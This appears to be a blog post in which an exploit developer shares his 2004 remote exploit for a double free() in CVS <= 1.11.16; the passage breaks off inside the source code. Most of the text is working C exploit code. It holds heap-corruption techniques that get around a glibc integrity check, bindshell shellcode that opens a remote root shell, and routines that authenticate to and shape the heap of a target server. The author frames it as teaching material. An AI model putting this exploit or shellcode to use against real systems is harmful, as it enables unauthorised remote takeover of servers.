Looking through some old disks now, and found a couple of exploits I coded back in 2004. Good old times. :)
The first one is an exploit for a double free() in CVS <= 1.11.16. It is heavily documented, since I used it as one of the examples in a 6-day course in exploit development and reverse engineering I taught back then. Even though the current malloc() implementations have much more integrity checks now than they did back then, I think the detailed analysis of the exploitation method in the exploit comments can be quite useful to read and understand for people learning exploit development now. There's often a bit too much trial & error involved when novices (and even some experienced exploit developers) code exploits, doing a detailed analysis and understanding every aspect of the vulnerability and the subsystems involved (in this case dlmalloc) is the best approach for making the exploit as reliable as possible. The other one is a format string vulnerability in Courier IMAP <= 3.0.3. This one required DEBUG_LOGIN to be set though, so wasn't that useful in the real world. Since I've always avoided making "target based" exploits with hardcoded addresses and offsets, if not absolutely necessary, the Courier IMAP exploit automatically determines whether the target is Linux or FreeBSD, the offset to the buffer on the stack, the address of the buffer (by first determining the offset to the stack base, with a known address back then when there was no ASLR), and the offset to the saved return address in auth_debug():s stack frame. The shellcode is customized to do a dup2(1, 2) before executing a shell, since fd 1 pointed to the socket descriptor and fd 2 was used for logging errors. Wouldn't want to have the stderr of the shell redirected to a server log. ;) cvs-argx.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 |
/* * Linux/x86 exploit for CVS <= v1.11.16. * * Argumentx, double-free() of error_prog_name. * * Tested and verified to work with: * CVS 1.11.4, glibc-2.3.1 * CVS 1.11.6, glibc-2.3.2 * CVS 1.11.6, glibc-2.3.3 * * There is a bug in the serve_argumentx()-function that allows * us to free() a pointer that gets free()'d again upon exit * (when CVS reads EOF on stdin). * * The global argument_vector[] array is an array with strings * that are allocated when using the "Argument"-command. The * "Argumentx"-command is used to append data to the last allocated * argument string, e.g. argument_vector[argument_count-1]. * * Then argument_vector[0] gets initialized with error_prog_name, * which is previously malloc()'ed in the server()-function. * When the "Argumentx"-command is used, it appends data to the * last entered argument-string (that has been set with the * "Argument"-command). Since there is no check that makes sure * that any arguments have actually been added, it is possible * to append data to the argument_vector[0] string too. * * To append data realloc() is used to extend the chunk. When the * next chunk is free, it will expand into that. If the next chunk * is in use, it will allocate a new chunk with the requested size * and free() the old one after copying its contents to the new. * * If argument_vector[0] == error_prog_name is free()'d, the * error_prog_name pointer variable in the server()-function will still * point to the free chunk though. When CVS reads EOF on stdin, the * error_prog_name pointer will be free()'d again and bad things * might happen (or good, depending on your point of view). * * To exploit the second free() of error_prog_name to overwrite * for instance a function pointer with the address of our shellcode * we need to convince free() that the previous or next chunk is free, * and thus unlink() them from their current bins and consolidate the * adjacent free chunks to one and adding it to the unsorted_chunks bin. * * So, how do we accomplish that? Well, since the error_prog_name * chunk is free it can be allocated again. To affect the consolidation * in free() and abuse unlink() to overwrite arbitrary memory we need * to control the size- and prev_size-fields though. * * This can be done by making sure that the chunk right before the old * error_prog_name chunk is free()'d and gets consolidated with the * error_prog_name chunk, then triggering a malloc() that returns the * consolidated chunk and fills it with data controlled by us. * * In most cases, this is all actually quite trivial. Right before the * error_prog_name buffer is allocated with malloc(), the argument_vector[] * array is allocated. Unless there were other free chunks of the same * size available, error_prog_name will be located right after the * argument_vector chunk. * * Excerpt from src/server.c: (cvs-1.11.16), comments stripped: * * argument_vector_size = 1; * argument_vector = xmalloc (argument_vector_size * sizeof (char *)); * argument_count = 1; * error_prog_name = xmalloc (strlen (program_name) + 8); * sprintf(error_prog_name, "%s server", program_name); * argument_vector[0] = error_prog_name; * * To free() argument_vector[] we can send a couple of "Argument"-commands * so it must realloc() the argument_vector[] to make room for the added * string pointers. The minimum valid chunk size with glibc-2.3.x * is 16 bytes, e.g. room for 12 bytes of data. Thus, the original chunk * has room enough for three 4-byte-pointers. However, serve_argument * doubles argument_vector_size whenever an "Argument"-command is sent * and argument_vector_size <= argument_count so it is enough to send two * "Argument"-commands to make it request 16 bytes with realloc(), e.g. * it requests a chunk size of 24 bytes (16 + 4 rounded up to the nearest * 8-bytes-boundary). * * Since both the argument_vector[] and the error_prog_name chunk was * less than 80 bytes large they are placed in so called "fastbins" * when they are free()'d (MAX_FAST_SIZE = 80). Fastbins are * single-linked-lists (only the chunks fd-pointer is used) instead of * double-linked-lists like larger bins, and the PREV_INUSE-bit in the * next chunks size-field does not get unset when they are free()'d. * Thus, they do not get automatically consolidated with adjacent * chunks that are free()'d. * * When malloc() requests are made for chunk sizes below or equal to * MAX_FAST_SIZE it first checks whether there is a previously free()'d * chunk of the same size (the chunks in a fastbin are all of the same * size) available, so we can easily get the original argument_vector[] * and error_prog_name to be allocated again. * * But, we want a chunk that consists of both the old argument_vector[] * and the error_prog_name chunk, so we can control the error_prog_name * chunks size- and prev_size-fields. To do this, we must first make the * chunks be consolidated with each other. As I mentioned, "fastchunks" * (chunks in fastbins) are not consolidated upon free(). They are * only consolidated in a function named malloc_consolidate(), which * can get called in malloc() and free() if certain conditions are met. * * One condition that always triggers malloc_consolidate() is when a * chunk of 512 bytes (MIN_LARGE_SIZE) or more is requested with malloc(), * so by sending for instance an "Argument"-command with a large string we * can force the error_prog_name and argument_vector[] chunk to be * consolidated. * * To populate the heap with shellcode I use "Entry", with a large * NOP-sled followed by shellcode as its argument. The size of the * NOP-sled (64k) makes it possible for me to use the same shellcode * address in all CVS-binaries I have tested, e.g. a high address on * the heap that normally would not be used. * * Note that a chunk will first be allocated for reading the entire * line, then a new one will be allocated for the argument-string to * "Entry", so the part of the heap that is populated with shellcode * is actually of twice the size we send. The chunk with the entire * line is free()'d afterwards though and can therefore be reused and * partially overwritten. * * Since unlink() performs a "mirrored" overwrite, e.g. 4 bytes at * an offset 12 or 8 from the estimated shellcode address (depending * on if I use it as the fd- or bk-pointer) get overwritten, I use * "\xeb\x0e" as my NOP. 0xeb is the opcode for jmp with a byte-argument, * and 0x0e = 14. "\xeb\x0e" = 2 bytes, + 14 bytes = start executing at * offset 16, so the overwritten bytes will always get jumped over. * * There will not be any alignment-issues, since all chunks are aligned * on 8-byte-boundaries it is not possible to hit the "\x0e"-part of * the "\xeb\x0e" byte-sequence as long as we use an even number as the * estimated shellcode address. This is actually why I used "Entry" instead * of for instance "Argument" to send the shellcode, since "Entry " has * an even number of characters the NOP byte-sequence will be correctly * aligned in the temporary chunk that stores the entire line too. * * So far so good, but the chunk before the error_prog_name-chunk is not * always argument_vector[]. Sometimes it gets occupied by the CVS-root, * e.g. the string passed as an argument to the "Root"-command that is * usually sent right after the pserver-authentication. I solve this * problem by sending a "Set"-command with a large string as an argument * before the "Root"-command, since malloc_consolidate() is then called * and fastchunks are consolidated so that the chunk before error_prog_name * is not returned by malloc() even though it may be the last one free()'d. * * Another problem is that there might be several free chunks available * of the same size (0x20 bytes) when we send the "Argument"-command * that is meant to overwrite the old error_prog_name chunk. This is * solved by sending the same "Argument"-command a few times so that * one of them hopefully overwrites the correct chunk. * * There is one problem that may occur that cannot be solved though, * sometimes the chunk before error_prog_name is allocated to the * server_temp_dir-buffer and since we have no way of affecting the * heap layout before that is allocated (directly after authentication) * and no way of free()'ing it, we can never overwrite the size- and * prev_size-fields in the error_prog_name chunk. * * This only happened with one of my four test cases though (CVS 1.11.16, * glibc-2.3.2), and I believe it's a rather uncommon situation. I was able * to exploit the same binary when I executed it from the the command line * with the same arguments it is started with via inetd though, so the binary * itself was exploitable. * * One difference when being executed from the command line versus being * executed via inetd is the number of environment variables. This would not * normally affect the heap layout, but can do so indirectly in this case * since cvs uses setenv()/putenv() which will realloc() a char**-pointer * to hold an array with the environment string pointers. Another difference * (the only other relevant difference that I can think of) is how much data * is read with each call to read() in CVS and how that affects the buffering * subsystem. The latter could be manipulated remotely while the former * can not. * * The significant part of the heap layout is which chunk is located right * before the error_prog_name chunk. If it is free, or if it's possible to * make it be free()'d, an exploit is possible. * * With glibc < 2.3.3, it is possible to use the old and known technique * described in a couple of phrack articles etc, the "unlinkMe-chunk". With * glibc == 2.3.3 and glibc-2.3.4 versions earlier than 2004/08/21 it is * possible to use another technique, that I developed myself. * * The "security check" that was added in glibc-2.3.3 is that it checks * if p + p->size > p where p is the chunk that is free()'d. This makes it * impossible to use small negative numbers to make "nextchunk" refer to * the contents in a previous chunk. Note that neither prev_size nor the * size-field in nextchunk/prevchunk is checked though. * * Of course, this check is trivial to bypass if it's possible to include * NUL-bytes in the overflow string, by pointing nextchunk into the chunk * itself. This is usually not the case though, and it is not the case here. * When one cannot use NUL-bytes (except for the terminating NUL-byte) it's * not so easy, but I see two possibilities. * * Either one can set the size-field with a huge positive number that when * added to the chunk address becomes a valid address on the stack. The * distance between the heap and the stack is so huge that there will be * no NUL-bytes in the number then. This technique can usually not be used * reliably for anything but local exploits, but note that it's not * necessary to be able to embed anything in the stack, it's enough to * bruteforce a stack location that does not trigger forward consolidation * (for instance any address that points 4 bytes before a 32-bit 1-value). * * To use this reliably one would have to have great control over the stack. * For exploits when the address to overwrite is known (locals) or in a small * limited range it can be bruteforced, but bruteforcing would take a lot of * time when we have to brute both a function pointer and the offset to a * "good" stack address. * * Another method is to only partially overwrite the size-field, so it points * another chunk in front of it. Either we can make it point to any chunk * that resides after a busy chunk (so the PREV_INUSE-bit is set and forward * consolidation is not triggered) or into another chunk that we control the * contents of. If we point it into another chunk we control the contents of * we might want to get that unlink():ed too so we can overwrite multiple * addresses for each free(). * * Copyright (C) Joel Eriksson <je@bitnux.com>, Bitnux 2004 */ #define __USE_BSD #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdlib.h> #include <stdarg.h> #include <string.h> #include <unistd.h> #include <getopt.h> #include <netdb.h> #include <stdio.h> #include <errno.h> #define DEF_ROOT "/cvs" #define DEF_USER "anonymous" #define DEF_PORT 2401 #define DEF_BIND_PORT 12345 #define DEF_FROM_ADDR 0xbffffc00 #define DEF_STOP_ADDR 0xbfff0000 #define DEF_CODE_ADDR 0x08111180 /* * Not the smallest bindshell-code the world has ever seen. ;) * I could have stripped away some error-handling, but since * the size of the shellcode was not an issue in this exploit * I chose to keep it like this. This is how it works: * * write(1, "r00t", 4); * if (fork() != 0) exit(0); * srv_sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); * setsockopt(srv_sd, SOL_SOCKET, SO_REUSEADDR, &(opt=1), sizeof(opt)); * bind(srv_sd, &sin, sizeof(sin)); * listen(srv_sd, 1); * cli_sd = accept(srv_sd, &sin, &len); * dup2(cli_sd, 2); dup2(cli_sd, 1); dup2(cli_sd, 0); * execve("/bin/sh", { "/bin/sh", NULL }, NULL); * * Note that it only accepts one connection. */ char code[] = "\x31\xdb" /* xor %ebx,%ebx */ "\x43" /* inc %ebx */ "\x68\x72\x30\x30\x74" /* push $0x74303072 */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb2\x04" /* mov $0x4,%dl */ "\x89\xd0" /* mov %edx,%eax */ "\xcd\x80" /* int $0x80 */ "\xeb\x03" /* jmp exit_jumpme */ /* exit_callme: */ "\x5d" /* pop %ebp */ "\xeb\x10" /* jmp data_jumpme */ /* exit_jumpme: */ "\xe8\xf8\xff\xff\xff" /* call exit_callme */ "\x31\xdb" /* xor %ebx,%ebx */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x01" /* mov $0x1,%al */ "\xcd\x80" /* int $0x80 */ /* data_callme: */ "\x5f" /* pop %edi */ "\xeb\x20" /* jmp code */ /* data_jumpme: */ "\xe8\xf8\xff\xff\xff" /* call data_callme */ "\x02\xff" /* .byte 0x02, 0xff # sin_family */ "\x30\x39" /* .word 0x3930 # sin_port */ "\xff\xff\xff\xff" /* .long 0xffffffff # sin_addr */ "\xff\xff\xff\xff" /* .long 0xffffffff # padding */ "\xff\xff\xff\xff" /* .long 0xffffffff # padding */ "\xff\xff\xff\xff" /* .long 0xffffffff # len */ "/bin/sh" /* .ascii "/bin/sh" */ /* code: */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\x31\xc9" /* xor %ecx,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\x88\x57\x01" /* mov %dl,0x1(%edi) */ "\x89\x57\x04" /* mov %edx,0x4(%edi) */ "\xb0\x02" /* mov $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* test %eax,%eax */ "\x74\x02" /* je code+0x18 */ "\xff\xe5" /* jmp *%ebp */ "\xb0\x66" /* mov $0x66,%al */ "\xb3\x01" /* mov $0x1,%bl */ "\xb1\x06" /* mov $0x6,%cl */ "\x51" /* push %ecx */ "\xb1\x01" /* mov $0x1,%cl */ "\x51" /* push %ecx */ "\x41" /* inc %ecx */ "\x51" /* push %ecx */ "\x89\xe1" /* mov %esp,%ecx */ "\xcd\x80" /* int $0x80 */ "\x89\xc6" /* mov %eax,%esi */ "\x40" /* inc %eax */ "\x85\xc0" /* test %eax,%eax */ "\x79\x02" /* jns code+0x31 */ "\xff\xe5" /* jmp *%ebp */ "\x48" /* dec %eax */ "\xb0\x66" /* mov $0x66,%al */ "\xb3\x0e" /* mov $0xe,%bl */ "\xb2\x01" /* mov $0x1,%dl */ "\x52" /* push %edx */ "\x89\xe2" /* mov %esp,%edx */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb1\x04" /* mov $0x4,%cl */ "\x51" /* push %ecx */ "\x52" /* push %edx */ "\x49" /* dec %ecx */ "\x49" /* dec %ecx */ "\x51" /* push %ecx */ "\x49" /* dec %ecx */ "\x51" /* push %ecx */ "\x56" /* push %esi */ "\x89\xe1" /* mov %esp,%ecx */ "\xcd\x80" /* int $0x80 */ "\x40" /* inc %eax */ "\x85\xc0" /* test %eax,%eax */ "\x79\x02" /* jns code+0x52 */ "\xff\xe5" /* jmp *%ebp */ "\x48" /* dec %eax */ "\xb0\x66" /* mov $0x66,%al */ "\xb3\x02" /* mov $0x2,%bl */ "\x31\xd2" /* xor %edx,%edx */ "\xb2\x10" /* mov $0x10,%dl */ "\x52" /* push %edx */ "\x57" /* push %edi */ "\x56" /* push %esi */ "\x89\xe1" /* mov %esp,%ecx */ "\xcd\x80" /* int $0x80 */ "\x40" /* inc %eax */ "\x85\xc0" /* test %eax,%eax */ "\x79\x02" /* jns code+0x69 */ "\xff\xe5" /* jmp *%ebp */ "\x48" /* dec %eax */ "\xb0\x66" /* mov $0x66,%al */ "\xb3\x04" /* mov $0x4,%bl */ "\xb2\x01" /* mov $0x1,%dl */ "\x52" /* push %edx */ "\x56" /* push %esi */ "\x89\xe1" /* mov %esp,%ecx */ "\xcd\x80" /* int $0x80 */ "\x40" /* inc %eax */ "\x85\xc0" /* test %eax,%eax */ "\x79\x02" /* jns code+0x7d */ "\xff\xe5" /* jmp *%ebp */ "\x48" /* dec %eax */ /* accept_loop: */ "\x31\xc0" /* xor %eax,%eax */ "\x31\xdb" /* xor %ebx,%ebx */ "\x8d\x57\x10" /* lea 0x10(%edi),%edx */ "\xb0\x10" /* mov $0x10,%al */ "\x89\x47\x10" /* mov %eax,0x10(%edi) */ "\xb0\x66" /* mov $0x66,%al */ "\xb3\x05" /* mov $0x5,%bl */ "\x52" /* push %edx */ "\x57" /* push %edi */ "\x56" /* push %esi */ "\x89\xe1" /* mov %esp,%ecx */ "\xcd\x80" /* int $0x80 */ "\x89\xc3" /* mov %eax,%ebx */ "\x40" /* inc %eax */ "\x85\xc0" /* test %eax,%eax */ "\x79\x02" /* jns accept_loop+0x20 */ "\xff\xe5" /* jmp *%ebp */ "\x48" /* dec %eax */ /* handle_connection: */ "\x31\xc9" /* xor %ecx,%ecx */ "\xb1\x03" /* mov $0x3,%cl */ /* dup2_loop: */ "\xb0\x3f" /* mov $0x3f,%al */ "\x49" /* dec %ecx */ "\xcd\x80" /* int $0x80 */ "\x75\xf9" /* jne dup2_loop */ "\x8d\x5f\x14" /* lea 0x14(%edi),%ebx */ "\x88\x43\x07" /* mov %al,0x7(%ebx) */ "\x50" /* push %eax */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xb0\x0b" /* mov $0xb,%al */ "\xcd\x80"; /* int $0x80 */ ssize_t writen(int sd, const char *buf, size_t len) { ssize_t n = 0; while (len > 0) { ssize_t nwritten; if ((nwritten = write(sd, buf, len)) == -1) { if (errno == EINTR || errno == EAGAIN) continue; perror("writen: write"); return -1; } buf += nwritten; len -= nwritten; n += nwritten; } return n; } ssize_t sock_print(int sd, const char *str) { return writen(sd, str, strlen(str)); } ssize_t sock_printf(int sd, const char *fmt, ...) { char buf[4096]; va_list ap; ssize_t n; va_start(ap, fmt); n = vsnprintf(buf, sizeof buf - 1, fmt, ap); va_end(ap); if (n > 0) { buf[n] = '\0'; n = sock_print(sd, buf); } return n; } int tcp_connect(const char *name, unsigned short port, int verbose) { struct sockaddr_in sin; struct hostent *hp; unsigned long addr; int sd; if (name == NULL) addr = INADDR_ANY; else { if ((hp = gethostbyname(name)) == NULL) { perror("tcp_connect: gethostbyname"); return -1; } addr = ((struct in_addr *) hp->h_addr_list[0])->s_addr; } memset(&sin, '\0', sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = addr; sin.sin_port = htons(port); if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("tcp_connect: socket"); return -1; } if (connect(sd, (struct sockaddr *) &sin, sizeof(sin)) == -1) { perror("tcp_connect: connect"); close(sd); return -1; } if (verbose) fprintf( stderr, "Connection to %s:%d opened\n", name ? name : "localhost", port ); return sd; } /* * CVS send scrambled passwords when pserver-authentication is * used. As you can see it is a simple monoalphabetic * substitution cipher, so sniffed pserver-passwords are trivial * to decode. */ void cvs_pass(char *buf, const char *pass) { unsigned char tab[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x72, 0x78, 0x35, 0x4f, 0x60, 0x6d, 0x48, 0x6c, 0x46, 0x40, 0x4c, 0x43, 0x74, 0x4a, 0x44, 0x57, 0x6f, 0x34, 0x4b, 0x77, 0x31, 0x22, 0x52, 0x51, 0x5f, 0x41, 0x70, 0x56, 0x76, 0x6e, 0x7a, 0x69, 0x29, 0x39, 0x53, 0x2b, 0x2e, 0x66, 0x28, 0x59, 0x26, 0x67, 0x2d, 0x32, 0x2a, 0x7b, 0x5b, 0x23, 0x7d, 0x37, 0x36, 0x42, 0x7c, 0x7e, 0x3b, 0x2f, 0x5c, 0x47, 0x73, 0x4e, 0x58, 0x6b, 0x6a, 0x38, 0x24, 0x79, 0x75, 0x68, 0x65, 0x64, 0x45, 0x49, 0x63, 0x3f, 0x5e, 0x5d, 0x27, 0x25, 0x3d, 0x30, 0x3a, 0x71, 0x20, 0x5a, 0x2c, 0x62, 0x3c, 0x33, 0x21, 0x61, 0x3e, 0x4d, 0x54, 0x50, 0x55, 0xdf, 0xe1, 0xd8, 0xbb, 0xa6, 0xe5, 0xbd, 0xde, 0xbc, 0x8d, 0xf9, 0x94, 0xc8, 0xb8, 0x88, 0xf8, 0xbe, 0xc7, 0xaa, 0xb5, 0xcc, 0x8a, 0xe8, 0xda, 0xb7, 0xff, 0xea, 0xdc, 0xf7, 0xd5, 0xcb, 0xe2, 0xc1, 0xae, 0xac, 0xe4, 0xfc, 0xd9, 0xc9, 0x83, 0xe6, 0xc5, 0xd3, 0x91, 0xee, 0xa1, 0xb3, 0xa0, 0xd4, 0xcf, 0xdd, 0xfe, 0xad, 0xca, 0x92, 0xe0, 0x97, 0x8c, 0xc4, 0xcd, 0x82, 0x87, 0x85, 0x8f, 0xf6, 0xc0, 0x9f, 0xf4, 0xef, 0xb9, 0xa8, 0xd7, 0x90, 0x8b, 0xa5, 0xb4, 0x9d, 0x93, 0xba, 0xd6, 0xb0, 0xe3, 0xe7, 0xdb, 0xa9, 0xaf, 0x9c, 0xce, 0xc6, 0x81, 0xa4, 0x96, 0xd2, 0x9a, 0xb1, 0x86, 0x7f, 0xb6, 0x80, 0x9e, 0xd0, 0xa2, 0x84, 0xa7, 0xd1, 0x95, 0xf1, 0x99, 0xfb, 0xed, 0xec, 0xab, 0xc3, 0xf3, 0xe9, 0xfd, 0xf0, 0xc2, 0xfa, 0xbf, 0x9b, 0x8e, 0x89, 0xf5, 0xeb, 0xa3, 0xf2, 0xb2, 0x98, }; unsigned char *cp = (unsigned char *) buf; *cp++ = 'A'; while (*pass) *cp++ = tab[(int) *pass++]; } /* * Perform pserver-authentication. */ int cvs_auth(int sd, const char *root, const char *user, const char *pass) { char buf[1024]; ssize_t nread; sock_printf(sd, "BEGIN AUTH REQUEST\n"); sock_printf(sd, "%s\n", root); sock_printf(sd, "%s\n", user); sock_printf(sd, "%s\n", pass); sock_printf(sd, "END AUTH REQUEST\n"); if ((nread = read(sd, buf, sizeof(buf)-1)) == -1) { perror("cvs_auth: read"); return -1; } buf[nread] = '\0'; if (strcmp(buf, "I HATE YOU\n") == 0) { fprintf(stderr, "cvs_auth: Login failed.\n"); return -1; } if (strcmp(buf, "I LOVE YOU\n") != 0) { fprintf(stderr, "cvs_auth: Unexpected reply: %s", buf); return -1; } return 0; } int cvs_argx(int sd, const char *root, unsigned long code_addr, unsigned long func_addr, int glibc233) { static unsigned long chunk_addr = 0; ssize_t nread; char buf[128]; int i, j, n; /* * Decrement address to be overwritten with 8 when it is used as a bk-pointer. */ func_addr -= 8; /* * Make sure fastchunks are consolidated by requesting a large chunk. * This is an extremely important step to make the exploit reliable, * the "Root"-command will sometimes use the chunk right before * error_prog_name to store the cvsroot-string if that chunk was not * allocated to argument_vector[]. */ sock_print(sd, "Set A="); for (i = 0; i < 512-5; i++) writen(sd, "A", 1); writen(sd, "\n", 1); /* * Set CVS-root directory */ sock_printf(sd, "Root %s\n", root); /* * In my test cases, the error_prog_name chunk has been followed by a * 0x108 bytes large used chunk which has been followed by a 0x208 * bytes unused one. That chunk will be used to store the value of the * X-variable sent below. Since we know its offset from the * error_prog_name chunk we can point nextchunk & "prevchunk" into it. * * Since this approach relies on a specific heap layout being met it * is only used when when glibc >= 2.3.3 has been detected. For * glibc < 2.3.3 we can use a negative size-field and point nextchunk * into the chunk itself. */ sock_print(sd, "Set AAAABBBBCCCCDDDD="); writen(sd, (char *) &code_addr, sizeof(code_addr)); writen(sd, (char *) &func_addr, sizeof(func_addr)); sock_print(sd, "AAAAAAAAAAAA"); n = -8; writen(sd, (char *) &n, sizeof(n)); for (i = 0; i < 520-24-5; i++) writen(sd, "A", 1); writen(sd, "\n", 1); /* * Force argument_vector[0] == error_prog_name to be realloc()'ed, * e.g. free()'d and malloc()'ed again (and moved to another addr). * The "Argumentx"-command tries to append the specified string to * argument_vector[argument_count-1], but since no "Argument"-commands * have been sent, it will append it to the special argument_vector[0] * string, that actually points to the error_prog_name string. * * To append data, it uses realloc(), which will free() the old * chunk and malloc a new one (assuming there is not room enough * in the current chunk and the following one is used so it cannot * expand into that one). */ sock_print(sd, "Argumentx AAAABBBBCCCCDDDD\n"); /* * Force the argument_vector[] array to be realloc()'ed, without risking * that the argument string specified is allocated to the now free * error_prog_name chunk of size 0x10 bytes. */ for (i = 0; i < 2; i++) sock_print(sd, "Argument AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH\n"); /* * Force fastchunks to be consolidated. This will consolidate * the old error_prog_name and the preceding chunk which may * or may not be the old argument_vector[], but it seems like * it always is a 0x10 bytes large chunk. */ sock_print(sd, "Argument "); for (i = 0; i < 512-5; i++) writen(sd, "A", 1); writen(sd, "\n", 1); /* * Allocate chunk that will overwrite the old error_prog_name chunk. * Since there may be other free chunks of the same size we loop * a few times to make sure that we get the chunk we want one of * these times. */ for (i = 0; i < 8; i++) { /* * We would not want the name of the variable to use the * 0x20 bytes chunk we want to overwrite, so we must use * a string that is larger than 0x20-5 bytes. */ sock_printf(sd, "Set AAAABBBBCCCCDDDDEEEEFFFFGGGG%04X=AAAA", i); /* * This will be interpreted as the size-field of nextchunk * and will point "nextnextchunk" to the chunk that holds * this string. The PREV_INUSE-bit will be set since the * chunk before this one is used, and thus nextchunk will * not be unlink():ed. Note that the 3 least significant * bytes used are not used, so -8 is the lowest negative * offset we could have used. */ n = -8; writen(sd, (char *) &n, sizeof(n)); /* * This will be interpreted as the prev_size-field of the * fake error_prog_name chunk, and should hold the negative * offset to the fake chunk that we want to be unlink():ed. * Note that no bits are masked off the prev_size-field, so * we can use an arbitrary offset. * * The address of the previous chunk is calculated as * p - prev_size, where p is the pointer to this chunk (the * fake error_prog_name chunk). When we set prev_size to * -1 (-0x118) the address of the previous chunk will be * calculated as p + 1 (p + 0x118). */ if (glibc233) n = -0x118; else n = -1; writen(sd, (char *) &n, sizeof(n)); /* * This will be interpreted as the size-field of the fake * error_prog_name chunk. Since the PREV_INUSE-bit is not * set, the previous chunk (p + p->prev_size) will be * unlink():ed. * * To determine if the chunk after this chunk (nextchunk) * should be unlink():ed the PREV_INUSE-bit of the "nextnext" * chunks size-field is checked. Thus, assuming the fake * chunk is called p and nextchunk is called n, we must: * * - Set p->size so p + p->size is a valid address. * - Set n->size so n + n->size is a valid address. * * If we can set n->fd and n->bk (e.g. byte 8-11 and 12-16) * to arbitrary values, we can get n to be unlink():ed by: * * - Ensuring that the byte at n + n->size + 4 have the * PREV_INUSE-bit (the least significant bit) unset. * The "+ 4" assumes we are exploiting a little-endian * architecture, otherwise it would have been "+ 7". * * In this case we will be satisfied with the unlink() of * "prevchunk" and thus want to ensure that the byte at * n + n->size + 4 (or + 7 in the case of big-endian) 